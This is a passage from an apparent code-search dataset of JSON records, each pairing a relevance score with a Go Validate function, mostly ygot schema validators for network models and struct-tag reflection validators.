string(s)\n\n\treturn validation.Validate(&v, validation.Required)\n}", "title": "" }, { "docid": "4d8a613d15b49b94eed78e4d4cab27cd", "score": "0.596334", "text": "func (s *Schema) Validate(data interface{}) error {\n\tif s == nil {\n\t\treturn makeError(\"Schema is not set\")\n\t}\n\treturn validate(data, s.s)\n}", "title": "" }, { "docid": "35f78ddb319b59191a12fd65ba196773", "score": "0.59629387", "text": "func (s *Mpls) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3fa2414ecac510af0777d3f195ffcda1", "score": "0.5797668", "text": "func (s *Interface_Sonet) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Interface_Sonet\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "298573fed5c0eb9111625ac993eb7227", "score": "0.5791459", "text": "func (spst SchemePaymentSubType) Validate() error {\n\tv := string(spst)\n\n\treturn validation.Validate(&v, validation.Required)\n}", "title": "" }, { "docid": "8d845f157abdc7289c2a26b7ad9634ef", "score": "0.5791357", "text": "func Validate(s interface{}, eventName string) error {\n\t//check it's struct\n\tv := reflect.ValueOf(s)\n\n\tfor i := 0; i < v.NumField(); i++ {\n\t\ttag := v.Type().Field(i).Tag.Get(tagName)\n\t\tif tag == \"\" || tag == \"-\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tvalidator := getValidatorFromTag(tag, eventName)\n\t\t// Perform validation\n\t\tvalid, err := validator.Validate(v.Field(i).Interface())\n\n\t\t// Return error as result\n\t\tif !valid && err != nil {\n\t\t\treturn fmt.Errorf(\"%s %s\", v.Type().Field(i).Name, err.Error())\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "46481c5861f30ab99241e6ebcb100b45", "score": "0.57788855", "text": "func (spt SchemePaymentType) Validate() error {\n\tv := string(spt)\n\n\treturn validation.Validate(&v, validation.Required)\n}", "title": "" }, { "docid": "3f81217480788fd6770163d481ab429b", "score": "0.57400656", "text": "func (s Set) Validate() error {\n\tvar errs error\n\tdescriptorTypes := make(map[string]bool)\n\tmessages := make(map[string]bool)\n\tclusterMessages := make(map[string]bool)\n\n\tfor _, v := range s {\n\t\tif !labels.IsDNS1123Label(v.Type) {\n\t\t\terrs = multierror.Append(errs, fmt.Errorf(\"invalid type: %q\", v.Type))\n\t\t}\n\t\tif !labels.IsDNS1123Label(v.Plural) {\n\t\t\terrs = multierror.Append(errs, fmt.Errorf(\"invalid plural: %q\", v.Type))\n\t\t}\n\t\tif proto.MessageType(v.MessageName) == nil {\n\t\t\terrs = multierror.Append(errs, fmt.Errorf(\"cannot discover proto message type: %q\", v.MessageName))\n\t\t}\n\t\tif _, exists := descriptorTypes[v.Type]; exists {\n\t\t\terrs = multierror.Append(errs, fmt.Errorf(\"duplicate type: %q\", v.Type))\n\t\t}\n\t\tdescriptorTypes[v.Type] = true\n\t\tif v.ClusterScoped {\n\t\t\tif _, exists := clusterMessages[v.MessageName]; exists {\n\t\t\t\terrs = multierror.Append(errs, fmt.Errorf(\"duplicate message type: %q\", v.MessageName))\n\t\t\t}\n\t\t\tclusterMessages[v.MessageName] = true\n\t\t} else {\n\t\t\tif _, exists := messages[v.MessageName]; exists {\n\t\t\t\terrs = multierror.Append(errs, fmt.Errorf(\"duplicate message type: %q\", v.MessageName))\n\t\t\t}\n\t\t\tmessages[v.MessageName] = true\n\t\t}\n\t}\n\treturn errs\n}", "title": "" }, { "docid": "fff338f704e883787cb76892abe7e407", "score": "0.5733874", "text": "func (s *Stp) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cf5d384a6b82760560e871f8a461b924", "score": "0.5637102", "text": "func (s *Mpls) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5f7b49d4471a246e9da09426a59c9702", "score": "0.5624132", "text": "func (s *Mpls_Lsps) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_Lsps\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e71df1479c7d8bed2919eb476ceb1771", "score": "0.5595974", "text": "func (m *RType) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\tif !_RType_From_Pattern.MatchString(m.GetFrom()) {\n\t\treturn RTypeValidationError{\n\t\t\tfield: \"From\",\n\t\t\treason: \"value does not match regex pattern \\\"^[a-z][a-z0-9]{1,14}$\\\"\",\n\t\t}\n\t}\n\n\tif !_RType_To_Pattern.MatchString(m.GetTo()) {\n\t\treturn RTypeValidationError{\n\t\t\tfield: \"To\",\n\t\t\treason: \"value does not match regex pattern \\\"^[a-z][a-z0-9]{1,14}$\\\"\",\n\t\t}\n\t}\n\n\tif !_RType_Verb_Pattern.MatchString(m.GetVerb()) {\n\t\treturn RTypeValidationError{\n\t\t\tfield: \"Verb\",\n\t\t\treason: \"value does not match regex pattern \\\"^[a-z][a-z0-9]{1,14}$\\\"\",\n\t\t}\n\t}\n\n\t// no validation rules for Multiple\n\n\t// no validation rules for CountType\n\n\treturn nil\n}", "title": "" }, { "docid": "24330dcfd2b2a878b098bb66991d6e8a", "score": "0.5573808", "text": "func (s *Interface_Sonet) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Interface_Sonet\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "45832e3a4a27d95c38c1f26b7b787a2c", "score": "0.55476713", "text": "func (v V) Validate(s interface{}) []error {\n\tvar val reflect.Value\n\n\t// If the interface is a reflect.Value, do nothing\n\tif reflect.TypeOf(s).String() == \"reflect.Value\" {\n\t\tval = s.(reflect.Value)\n\t} else {\n\t\tval = reflect.ValueOf(s)\n\t}\n\n\tif val.Kind() == reflect.Ptr {\n\t\tval = val.Elem()\n\t}\n\n\tt := val.Type()\n\tif t == nil || t.Kind() != reflect.Struct {\n\t\treturn nil\n\t}\n\n\tvar errs []error\n\n\tfor i := 0; i < t.NumField(); i++ {\n\t\tf := t.Field(i)\n\t\tfv := val.Field(i)\n\t\tif !fv.CanInterface() {\n\t\t\tcontinue\n\t\t}\n\t\tval := fv.Interface()\n\t\ttag := f.Tag.Get(\"validate\")\n\t\tif tag == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tvts := strings.Split(tag, \",\")\n\n\t\tfor _, vt := range vts {\n\t\t\tif vt == \"struct\" {\n\t\t\t\terrs2 := v.Validate(val)\n\t\t\t\tif len(errs2) > 0 {\n\t\t\t\t\terrs = append(errs, errs2...)\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tvf := v[vt]\n\t\t\tif vf == nil {\n\t\t\t\terrs = append(errs, BadField{\n\t\t\t\t\tField: f.Name,\n\t\t\t\t\tDesc: fmt.Sprintf(\"undefined validator: %q\", vt),\n\t\t\t\t})\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err := vf(val); err != nil {\n\t\t\t\tp := fmt.Sprintf(\"%s\", err)\n\t\t\t\terrs = append(errs, BadField{\n\t\t\t\t\tField: fieldName(&f),\n\t\t\t\t\tDesc: p,\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n\n\treturn errs\n}", "title": "" }, { "docid": "dc16c9af099a35a5400246bf2bb620d5", "score": "0.5544655", "text": "func (s *Stp) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b0a035a52f904c9444aa34ef56930718", "score": "0.5540495", "text": "func (s *Stp_Rstp) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp_Rstp\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0be0e972d3cf6be53ff6a2aadea49b67", "score": "0.5503955", "text": "func Validate(s string) error {\n\tif !namespaceRe.MatchString(s) {\n\t\treturn errors.Wrapf(errNamespaceInvalid, \"namespace %q\", s)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7ee3ef07ac230ba771a55d251b30cf72", "score": "0.5472126", "text": "func (s *Mpls_Interface) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_Interface\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1595b6fcbc378a9d4cd9140f5742c773", "score": "0.545148", "text": "func (r *stringValidator) Validate(data interface{}) (string, error) {\n\tvar v *string\n\n\tswitch tmp := data.(type) {\n\tcase string:\n\t\tv = &tmp\n\tcase *string:\n\t\tif tmp == nil {\n\t\t\treturn \"String\", fmt.Errorf(\"expected (*)string, got <nil>\")\n\t\t}\n\t\tv = tmp\n\tdefault:\n\t\treturn \"String\", fmt.Errorf(\"expected (*)string, was %v\", reflect.TypeOf(data))\n\t}\n\n\tfor _, o := range r.opts {\n\t\tif err := o(v); err != nil {\n\t\t\treturn \"String\", err\n\t\t}\n\t}\n\n\treturn \"\", nil\n}", "title": "" }, { "docid": "2ef4f363f0cf0d2629db7bd3f59407b0", "score": "0.545084", "text": "func (s *Stp_Interface) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp_Interface\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "af92cd826bf9ebc0e0e2e43b5af054fd", "score": "0.54284954", "text": "func ValidateStruct(s interface{}) error {\n\treturn Default.ValidateStruct(s, nil, nil)\n}", "title": "" }, { "docid": "1699054b01bc35e14cb545209fef0626", "score": "0.5425454", "text": "func typeValid(v interface{}, param string) error {\n\tstr := reflect.ValueOf(v).String()\n\n\tswitch param {\n\tcase \"timestamp\":\n\t\t_, err := time.Parse(time.RFC3339, str)\n\t\tif err != nil {\n\t\t\treturn ErrInvalidTypedValue\n\t\t}\n\tcase \"base64\":\n\t\tif !regexpBase64.MatchString(str) {\n\t\t\treturn ErrInvalidTypedValue\n\t\t}\n\tdefault:\n\t\treturn ErrBadParameter\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "7d8a876ceb802363516e2430bc966f44", "score": "0.5425379", "text": "func (n ServiceType) Validate() error {\n\tif n == \"\" {\n\t\treturn errors.New(\"service type must not be empty\")\n\t}\n\n\tif n[0] == '.' {\n\t\treturn fmt.Errorf(\"service type '%s' is invalid, unexpected leading dot\", n)\n\t}\n\n\tif n[len(n)-1] == '.' {\n\t\treturn fmt.Errorf(\"service type '%s' is invalid, unexpected trailing dot\", n)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "1d43104802bf19a50bf2c567be27b0fd", "score": "0.5410254", "text": "func (s *Lacp) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Lacp\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "17f047021ca51f9dc919893acb96f3d7", "score": "0.5405466", "text": "func (v *Validator) ValidateStruct(s interface{}, jsonNamespace []byte, structNamespace []byte) error {\n\tif s == nil {\n\t\treturn nil\n\t}\n\n\tvar err error\n\n\tval := reflect.ValueOf(s)\n\tif val.Kind() == reflect.Interface || val.Kind() == reflect.Ptr {\n\t\tval = val.Elem()\n\t}\n\t// we only accept structs\n\tif val.Kind() != reflect.Struct {\n\t\treturn fmt.Errorf(\"function only accepts structs; got %s\", val.Kind())\n\t}\n\n\tvar errs Errors\n\tfields := cachedTypefields(val.Type())\n\n\tfor _, f := range fields {\n\t\tvaluefield := val.Field(f.index[0])\n\t\terr := v.newTypeValidator(valuefield, &f, val, jsonNamespace, structNamespace)\n\t\tif err != nil {\n\t\t\tif errors, ok := err.(Errors); ok {\n\t\t\t\tfor _, fieldError := range errors {\n\t\t\t\t\terrs = append(errs, fieldError)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\terrs = append(errs, err)\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(errs) > 0 {\n\t\terr = errs\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "c30bf8dbc8cbef76d9bd1a9aa84825f0", "score": "0.5395738", "text": "func validateStruct(s interface{}) (found bool, errs []string) {\n\n\tfound = false\n\n\t// ValueOf returns a Value representing the run-time data\n\tv := reflect.ValueOf(s)\n\n\tfor i := 0; i < v.NumField(); i++ {\n\t\t// Get the field tag value\n\t\ttag := v.Type().Field(i).Tag.Get(tagName)\n\n\t\t// Skip if tag is not defined or ignored\n\t\tif tag == \"\" || tag == \"-\" {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Get a validator that corresponds to a tag\n\t\tvalidator := getValidatorFromTag(tag)\n\n\t\t// Perform validation\n\t\tvalid, err := validator.Validate(v.Field(i).Interface())\n\n\t\t// Append error to results\n\t\tif !valid && err != nil {\n\t\t\tfound = true\n\t\t\terrs = append(errs, fmt.Sprintf(\"%s %s\", v.Type().Field(i).Name, err.Error()))\n\t\t}\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "96c81c49adf937ef4d672dffae71805f", "score": "0.5393409", "text": "func (s *Space) Validate() error {\n\treturn validator.New().Struct(s)\n}", "title": "" }, { "docid": "386026a98f8ea26a49a2bde3d88c6e1b", "score": "0.5384453", "text": "func (m *NullableString) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\tswitch m.Kind.(type) {\n\n\tcase *NullableString_Null:\n\t\t// no validation rules for Null\n\n\tcase *NullableString_Value:\n\t\t// no validation rules for Value\n\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "8228a347697de8ed3b3317e792eb4d70", "score": "0.53778946", "text": "func (v *ComplexValidator) Validate(s interface{}) error {\n\tif v.TagName == \"\" {\n\t\tv.TagName = \"validate\"\n\t}\n\n\tfor _, field := range structs.Fields(s) {\n\t\tif err := v.processField(\"\", field); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "01fcfb5133bf622b37cfb2b5a489a07b", "score": "0.53622943", "text": "func (s *Mpls_Lsps) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_Lsps\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "23fb579ae682edc52b2f351c7da6c273", "score": "0.5358031", "text": "func ValidateType(f Option, arg string) error {\n\tswitch f.ExpectedType {\n\tcase reflect.Invalid, reflect.String:\n\t\treturn nil\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\tif _, err := strconv.Atoi(arg); err == nil {\n\t\t\treturn nil\n\t\t}\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\tif _, err := strconv.ParseUint(arg, 10, 0); err == nil {\n\t\t\treturn nil\n\t\t}\n\tcase reflect.Float32:\n\t\tif _, err := strconv.ParseFloat(arg, 32); err == nil {\n\t\t\treturn nil\n\t\t}\n\tcase reflect.Float64:\n\t\tif _, err := strconv.ParseFloat(arg, 64); err == nil {\n\t\t\treturn nil\n\t\t}\n\tcase reflect.Bool:\n\t\tif _, err := strconv.ParseBool(arg); err == nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn InvalidTypeErr{f, arg}\n}", "title": "" }, { "docid": "8caf9a0f09e626dae186875263a88dc9", "score": "0.534196", "text": "func (m *CrudstoreGetTypeResponse) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateSpec(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "988315220699944ca55cc4eaa0a8dbd2", "score": "0.5338507", "text": "func (m *EType) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\tif !_EType_Name_Pattern.MatchString(m.GetName()) {\n\t\treturn ETypeValidationError{\n\t\t\tfield: \"Name\",\n\t\t\treason: \"value does not match regex pattern \\\"^[a-z][a-z0-9]{1,14}$\\\"\",\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "977d0e0114efa64d0a2cd4527bb0af4f", "score": "0.5316711", "text": "func (s *NetworkInstance_Afts) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Afts\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "043174005f28fcca7b6801a7a290eae9", "score": "0.5315167", "text": "func (a *Schema) Validate() error {\n\tif len(a.dataset) == 0 {\n\t\treturn errors.New(\"Invalid Schema Name\")\n\t}\n\n\tif !a.internal && strings.Contains(\"gitdb,bucket,upload\", strings.ToLower(a.dataset)) {\n\t\treturn fmt.Errorf(\"%s is a reserved Schema Name\", a.dataset)\n\t}\n\n\tif len(a.block) == 0 {\n\t\treturn errors.New(\"Invalid Schema Block ID\")\n\t}\n\n\tif len(a.record) == 0 {\n\t\treturn errors.New(\"Invalid Schema Record ID\")\n\t}\n\n\tif _, ok := a.indexes[\"id\"]; ok && !a.internal {\n\t\treturn fmt.Errorf(\"%s is a reserved index name\", \"id\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ac8e72a7bafbee9a02c6c45e2ebf4dbb", "score": "0.53140384", "text": "func (s *Stp_Mstp) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp_Mstp\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b1224a8a6ae9956a0610582d505d6dc4", "score": "0.53055644", "text": "func ValidString(s string) bool", "title": "" }, { "docid": "6dee0fdadb81cf3cf67648514ed0e9b8", "score": "0.5298189", "text": "func (m ClusterType) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "747a725624276d2dd9e54cbdb99c2cc3", "score": "0.52900237", "text": "func (s *Stp_Rstp) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp_Rstp\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "23960de6679e526ca54fb7b8ef780805", "score": "0.5287057", "text": "func (s *Lldp) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Lldp\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d5ad9257b3ee231781d3cd67a618d693", "score": "0.5272798", "text": "func (s *Component) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Component\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b4dcd39c313e6595b7fde1a0980d8ea7", "score": "0.52714974", "text": "func (s *NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c4f3878cb1e7f90c6ff030e3565b5193", "score": "0.52626103", "text": "func (s *Mpls_Lsps_StaticLsp_Egress) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_Lsps_StaticLsp_Egress\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b61475b0c3eed42d8e6262230569eeb9", "score": "0.526176", "text": "func (s *Mpls_SignalingProtocols) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_SignalingProtocols\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f6268a28793f4c9192ac9b947bbadd65", "score": "0.52580184", "text": "func (s *NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_AsExternalLsa_TypeOfService) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_AsExternalLsa_TypeOfService\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "930250b6c8055b0aa76dcc45851c4783", "score": "0.5256004", "text": "func (s *Stp_Interface) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp_Interface\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8a47c73c569cd39628a2714293086442", "score": "0.52548105", "text": "func (s *Aps) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Aps\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "702cb32b5f37432acfd0e96bd2d2ccc8", "score": "0.5252587", "text": "func (s *Stp_Rstp_Interface) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp_Rstp_Interface\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "25fd29b8bd1ac97ca01fbf3f0bff6a36", "score": "0.5250174", "text": "func (s *NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_AsExternalLsa_TypeOfService) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_AsExternalLsa_TypeOfService\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "196553345eae734c7acb298617be8ac5", "score": "0.5228707", "text": "func (m LOAType) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// value enum\n\tif err := m.validateLOATypeEnum(\"\", \"body\", m); err != nil {\n\t\treturn err\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8798cc79eb1c1ffd493a0ffc8d51dc08", "score": "0.5226121", "text": "func (s *Interface) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Interface\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a31577c852471f78181900c7141a2931", "score": "0.52198774", "text": "func (s *NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_NssaExternalLsa_TypeOfService) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_NssaExternalLsa_TypeOfService\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a4dfa7a815bceef0071d9f67beafdd3c", "score": "0.5219751", "text": "func (s *NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_SummaryLsa_TypeOfService) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_SummaryLsa_TypeOfService\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d7aeca95d828ca485aa46b271e946679", "score": "0.5214224", "text": "func (s *NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_SummaryLsa_TypeOfService) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_SummaryLsa_TypeOfService\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "25b6eed9e4891b58a3d16ac335d8da51", "score": "0.52117413", "text": "func (s *NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_NssaExternalLsa_TypeOfService) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa_NssaExternalLsa_TypeOfService\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c1cb0d209060c3223a7f4839401b06bc", "score": "0.52092373", "text": "func (s *Component_Subcomponent) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Component_Subcomponent\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "06e1d3407edabd35f655a3a968349a3b", "score": "0.52065885", "text": "func (s *NetworkInstance_Mpls) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Mpls\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "011f62e935e7694ee1773d2121173844", "score": "0.51896906", "text": "func (s *Mpls_Lsps_StaticLsp) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_Lsps_StaticLsp\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4ff51fd83e56d283f8627c999c819911", "score": "0.5184984", "text": "func (s *Lldp_Interface) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Lldp_Interface\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "65395d226a8e5a6da4f0b8096c569921", "score": "0.5176293", "text": "func (t StreamConfig) Validate(v ...StructValidator) (valid bool, errors []string) {\n\tif len(v) == 0 || v[0] == nil {\n\t\treturn true, nil\n\t}\n\n\treturn v[0].ValidateStruct(t, t.SchemaType())\n}", "title": "" }, { "docid": "32760d75fb7a54259e8366ecdb5a76c7", "score": "0.5176022", "text": "func (schema *RawSchema) validate() (*Schema, error) {\n\tfieldsLen := len(schema.Fields)\n\ttypesLen := len(schema.Types)\n\tif fieldsLen != typesLen {\n\t\treturn nil, fmt.Errorf(\"Mismatched fields and types lengths: %d %d\", fieldsLen, typesLen)\n\t}\n\tvar types []SchemaType\n\tfor _, typeString := range schema.Types {\n\t\tvar validType SchemaType\n\t\tswitch typeString {\n\t\tcase \"int\":\n\t\t\tvalidType = INT\n\t\tcase \"string\":\n\t\t\tvalidType = STRING\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"Unrecognized schema type: %s\", typeString)\n\t\t}\n\t\ttypes = append(types, validType)\n\t}\n\treturn &Schema{schema.Fields, types}, nil\n}", "title": "" }, { "docid": "1d6a2a32f0df6c317fe32e7181e0f68e", "score": "0.51685804", "text": "func (m MaintenanceTypes) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// value enum\n\tif err := m.validateMaintenanceTypesEnum(\"\", \"body\", m); err != nil {\n\t\treturn err\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "57af186f87acc452f0130da77aa5bf72", "score": "0.51678485", "text": "func (u *Response) Validate() error {\n\tif u.Type == 0 {\n\t\treturn Errorf(EINVALID, \"Type required.\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "771c0d4be331e07671a5735bebd4344a", "score": "0.51646745", "text": "func (s *NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "96a10f2a083a3562e96def0f312e1042", "score": "0.5157517", "text": "func (s *Mpls_Interface) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_Interface\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2137cb4a8fb3214e67e45ed11aa07741", "score": "0.5151409", "text": "func (s *System_Dns_Server) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"System_Dns_Server\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "089ea789877d27d98576f858b0209bd9", "score": "0.51371384", "text": "func (m *ServerLogVerbosityPayloadSchema) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateDuration(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVerbosity(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b81cad2f6df1784e51183f57325f6141", "score": "0.51246893", "text": "func (s *Lacp_Interface) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Lacp_Interface\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "26b79663442cfc9865c1ee8780a59688", "score": "0.5124598", "text": "func (t KeyType) Validate() error {\n\tswitch string(t) {\n\tcase string(SigningKey), string(RevocationKey):\n\t\treturn nil\n\tdefault:\n\t\treturn serrors.WithCtx(ErrInvalidKeyType, \"raw\", string(t))\n\t}\n}", "title": "" }, { "docid": "ccad9c8b873f91286a94ca973b1e66de", "score": "0.5120878", "text": "func (s *WifiOffice_OfficeAp_Ssids) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"WifiOffice_OfficeAp_Ssids\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7e1fbeaa5d3266e77f938905a3603fcf", "score": "0.5114936", "text": "func (mv *customValidator) ValidateStruct(s interface{}) error {\n\tvar v reflect.Value\n\tif reflect.TypeOf(s).Kind() == reflect.Ptr {\n\t\tv = 